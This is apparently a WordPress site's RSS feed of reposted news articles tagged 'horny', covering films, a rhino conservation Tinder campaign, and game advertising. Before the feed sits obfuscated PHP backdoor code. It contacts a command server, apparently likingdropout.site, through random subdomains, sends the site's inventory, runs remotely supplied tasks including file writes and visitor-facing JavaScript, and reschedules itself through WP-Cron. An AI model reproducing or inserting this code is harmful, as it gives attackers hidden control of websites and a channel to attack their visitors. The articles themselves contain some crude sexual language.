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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); horny – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 02 Aug 2017 02:34:31 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png horny – Brief News https://briefnews.eu 32 32 15 Threesome Sex Scenes Guaranteed To Make You Horny https://briefnews.eu/15-threesome-sex-scenes-guaranteed-to-make-you-horny/ https://briefnews.eu/15-threesome-sex-scenes-guaranteed-to-make-you-horny/#respond Wed, 02 Aug 2017 02:34:31 +0000 http://briefnews.eu/15-threesome-sex-scenes-guaranteed-to-make-you-horny/

Who’s in it: Álvaro Cervantes, Àstrid Bergès-Frisbey, and Llorenç González.

“In the movie, a good-looking guy comes between a good-looking couple. He first sleeps with the boyfriend… and then the girlfriend… and then both of them together. There’s a number of threesomes in the movie, and the ending is really cute. Blondes don’t have more fun, bisexuals do.”

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]]> https://briefnews.eu/15-threesome-sex-scenes-guaranteed-to-make-you-horny/feed/ 0 Horny beast joins Tinder to raise awareness for ailing white rhino population https://briefnews.eu/horny-beast-joins-tinder-to-raise-awareness-for-ailing-white-rhino-population/ https://briefnews.eu/horny-beast-joins-tinder-to-raise-awareness-for-ailing-white-rhino-population/#respond Wed, 26 Apr 2017 08:59:27 +0000 http://briefnews.eu/horny-beast-joins-tinder-to-raise-awareness-for-ailing-white-rhino-population/

Wildlife conservationists are asking love seekers to swipe right on a very horny suitor – an endangered white rhino called ‘Sudan’ – after he joined dating app Tinder to raise awareness for his dying species.

Poaching has left the northern white rhinoceros, one of the largest land mammals on the planet, on the brink, and Sudan is now the only male of his kind in the world. 

The 43-year-old Sudan admittedly already lives with two female rhinos in Kenya’s Ol Pejeta Conservancy. However, natural breeding has become a problem due to “issues including age,” according to Sudan’s conservation team.

READ MORE: French zoo killing: Poachers shoot 4yo rhino, cut horn with chainsaw in brazen attack outside Paris

The Ol Pejeta Conservancy is hopeful the animal’s “pretty impressive profile” will persuade people to dip into their pockets and donate.

“Not only is he a pretty fine specimen of a rhino, but he has his own personal team of armed bodyguards, and has appeared in a string of international documentaries and new stories,” a statement released by the wildlife team reads.

The animal’s Tinder profile states how he is the “last male white rhino on planet earth.”

“I don’t mean to be too forward, but the fate of my species literally depends on us getting together. I like to eat grass and chill in the mud. No problems performing under pressure. 6ft tall and 5,000lbs if it matters,” it adds.

While Sudan might sound like a player, the bachelor’s stint on Tinder is an effort to raise $ 9 million to help research in assisted reproductive techniques before it’s too late for some species.

It could see the world’s white rhino population boosted by in vitro fertilization.

“The plight that currently faces the northern white rhinos is a signal to the impact that humankind is having on many thousands of other species across the planet,” said Richard Vigne, CEO of Ol Pejeta Conservancy. “Ultimately, the aim will be to reintroduce a viable population of northern white rhino back into the wild which is where their true value will be realized.”

READ MORE: Angry rhino charges at conservationists seconds after release into wild (VIDEO, PHOTOS)

“We are in a race. A race against the extinction of the northern white rhino species. We urgently need to raise awareness and funds for Sudan. No one could run this campaign better than Tinder. It will offer the ‘most eligible bachelor’ global exposure in such a meaningful way,” added Ogilvy Africa spokesperson Mathieu Plassard.

The introduction of Sudan into the ‘wild’ world of dating might be for valiant conservation interests, but the move has bemused and amused some online, including one Twitter user who bizarrely questioned whether Tinder was trying to get him to mate with a rhino.

Let’s block ads! (Why?)

RT – Daily news

]]> https://briefnews.eu/horny-beast-joins-tinder-to-raise-awareness-for-ailing-white-rhino-population/feed/ 0 ‘The Little Hours’ Trailer: Alison Brie, Aubrey Plaza & Kate Micucci Are Dirty, Horny Nuns https://briefnews.eu/the-little-hours-trailer-alison-brie-aubrey-plaza-kate-micucci-are-dirty-horny-nuns/ https://briefnews.eu/the-little-hours-trailer-alison-brie-aubrey-plaza-kate-micucci-are-dirty-horny-nuns/#respond Wed, 19 Apr 2017 08:29:47 +0000 http://briefnews.eu/the-little-hours-trailer-alison-brie-aubrey-plaza-kate-micucci-are-dirty-horny-nuns/ The Little Hours Trailer

Last year, director Martin Scorsese brought us Silence, a pensive, harrowing story of 17th-century Portuguese missionaries, who embark on a perilous journey to Japan to find their missing mentor and struggle with the decision of renouncing their faith or suffering an agonizing death. This year, director Jeff Baena brings us a trio of raunchy, horny nuns who just want to fuck the new servant at their convent.

The Little Hours follows Alison Brie, Aubrey Plaza and Kate Micucci as three nuns who are anything but holy. I’ll just leave it at that, because the red band trailer does a much better job of showing you just how wild these sisters can get. Watch red band The Little Hours trailer below. Yes, this is NSFW because of ample dirty language and even some nudity.

This looks positively ridiculous, almost like Monty Python and the Holy Grail by way of David Gordon Green (though the filmmaker who tried that with Your Highness has nothing to do with this production), and I love everything I’m seeing here. An especially nice touch among the critical acclaim from the Sundance Film Festival is a nice quote from The Catholic League saying, “It is trash. Pure trash.” Though pure trash sounds like a contradiction in terms, you couldn’t ask for a more ringing endorsement for a movie like this.

In addition to our three nuns, the supporting cast includes Dave Franco as the new servant Massetto, John C. Reilly as Father Tommasso, Nick Offerman as Lord Bruno, Fred Armisen as a bishop, Molly Shannon as Mother Superior, and supporting roles filled out by Jemima Kirke, Paul Reiser, Adam Pally and more. That’s a great array of comedic talent to upset the establishment, if you ask me.

Medieval nuns Alessandra (Alison Brie), Fernanda (Aubrey Plaza), and Ginevra (Kate Micucci) lead a simple life in their convent. Their days are spent chafing at monastic routine, spying on one another, and berating the estate’s day laborer. After a particularly vicious insult session drives the peasant away, Father Tommasso (John C. Reilly) brings on new hired hand Massetto (Dave Franco), a virile young servant forced into hiding by his angry lord. Introduced to the sisters as a deaf-mute to discourage temptation, Massetto struggles to maintain his cover as the repressed nunnery erupts in a whirlwind of pansexual horniness, substance abuse, and wicked revelry.

The Little Hours gets a limited release on June 30 and will expand in the following weeks.

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]]> https://briefnews.eu/the-little-hours-trailer-alison-brie-aubrey-plaza-kate-micucci-are-dirty-horny-nuns/feed/ 0 Fire Emblem Heroes Is A Horny Casino https://briefnews.eu/fire-emblem-heroes-is-a-horny-casino/ https://briefnews.eu/fire-emblem-heroes-is-a-horny-casino/#respond Mon, 06 Feb 2017 21:09:09 +0000 http://briefnews.eu/fire-emblem-heroes-is-a-horny-casino/

I’ve been playing Nintendo’s latest free mobile game, Fire Emblem Heroes, for the last few days, and I’m struck by how subtly sexual it is.

Take Niles the archer, for example. His description alone is fucky:

If you rub Niles, he’ll say stuff like “Yours until I break, master,” and “Now now, be gentle.” It’s all stuff that fits his character from Fire Emblem Conquest, but it’s funny that even in a stripped-down version of the franchise, developer Intelligent Systems chose to keep this aspect intact, rather than some more hardcore strategy mechanics.

For years now, there’s been a rift within the Fire Emblem community, as the turn-based series embraces fan service to give players more of a connection to individual characters. In the main games, you can marry characters, you can rub them for affection, you can have children, and in Japan, the character voices are recorded in binaural audio, so that all whispers of love make your spine tingle. Fire Emblem’s modern identity means that new fans are more likely to talk about what character they want to fuck, rather than optimal strategies for winning a battlefield. (I have no problem with this.)

Fire Emblem Heroes takes that reality and runs with it. The focus is entirely on what beloved characters you can add to your collection, what characters you have daydreams about. The entire gacha set-up banks on the idea you’ll want these characters so badly, you might spend money just for a random terrible chance at acquiring them. The terrifying thing is that it works, even though everyone can see how exploitative the entire thing is (I’ve already spent maybe 20 dollars, shamefully.)

Once you have your beloved units, you can admire them through lavish new artwork on the Allies menu. It’s total fan service, but what makes it especially notable is that it seems like equal opportunity fan service. Men and women alike are just as likely to have ridiculous revealing poses, and that’s especially true of the artwork that appears when characters are hurt during battles. Here’s a taste:

This might be the first time I’ve seen this “classic” pose on a dude, not a lady.

Fire Emblem Heroes isn’t a particularly complex strategy title—for that, you’ll want the main handheld games. But that’s not really why we’re here, is it?


Kotaku

]]> https://briefnews.eu/fire-emblem-heroes-is-a-horny-casino/feed/ 0 Evony, that game that puts horny ads on your Facebook sidebar, just had a Super Bowl commercial https://briefnews.eu/evony-that-game-that-puts-horny-ads-on-your-facebook-sidebar-just-had-a-super-bowl-commercial/ https://briefnews.eu/evony-that-game-that-puts-horny-ads-on-your-facebook-sidebar-just-had-a-super-bowl-commercial/#respond Mon, 06 Feb 2017 03:09:58 +0000 http://briefnews.eu/evony-that-game-that-puts-horny-ads-on-your-facebook-sidebar-just-had-a-super-bowl-commercial/ That's one horny video game.

Free-to-play games are always looking for new players, and publishers think the Super Bowl audience is ripe for potential new converts. And that includes one game that is best known for putting half-naked women into web ads.

Do I even need to point out that the game looks nothing like that.

Above: Do I even need to point out that the game looks nothing like this.

Image Credit: Evony

Evony, an online city-building game, had a commercial during the National Football League’s finals. If Evony sounds familiar to you, you’re probably remembering its series of web ads that heavily relied on female cleavage to get the attention of players.

It might seem strange for a company to go from advertising games on Facebook with what looks like a Maxim Magazine cover to a $ 5 million Super Bowl ad, but this is exactly the kind of game that does spend on this kind of marketing campaign.

In the next few months, traditional game publishers are going to release massive blockbusters like Mass Effect: Andromeda, Horizon: Zero Dawn, and Tom Clancy’s Ghost Recon: Wildlands, but you will not see commercials for those releases during the Super Bowl. Instead, with the exception of Nintendo’s new Switch gaming console, you’ll only see ads for free-to-play games like Mobile Strike and World of Tanks.

And that’s because acquiring new players is the entirety of the business model for those games. Evony’s publisher knows that for ever new user it acquires, it will make so much money — typically in the $ 1 to $ 2 range, on average, over the lifetime of the player’s relationship with that game. But that means, to survive, a game always needs new players, and when the potential new players on Facebook that like to click on pictures of pretty girls dries up, you have to amp up your marketing … and for Evony, that means the Super Bowl.

VentureBeat

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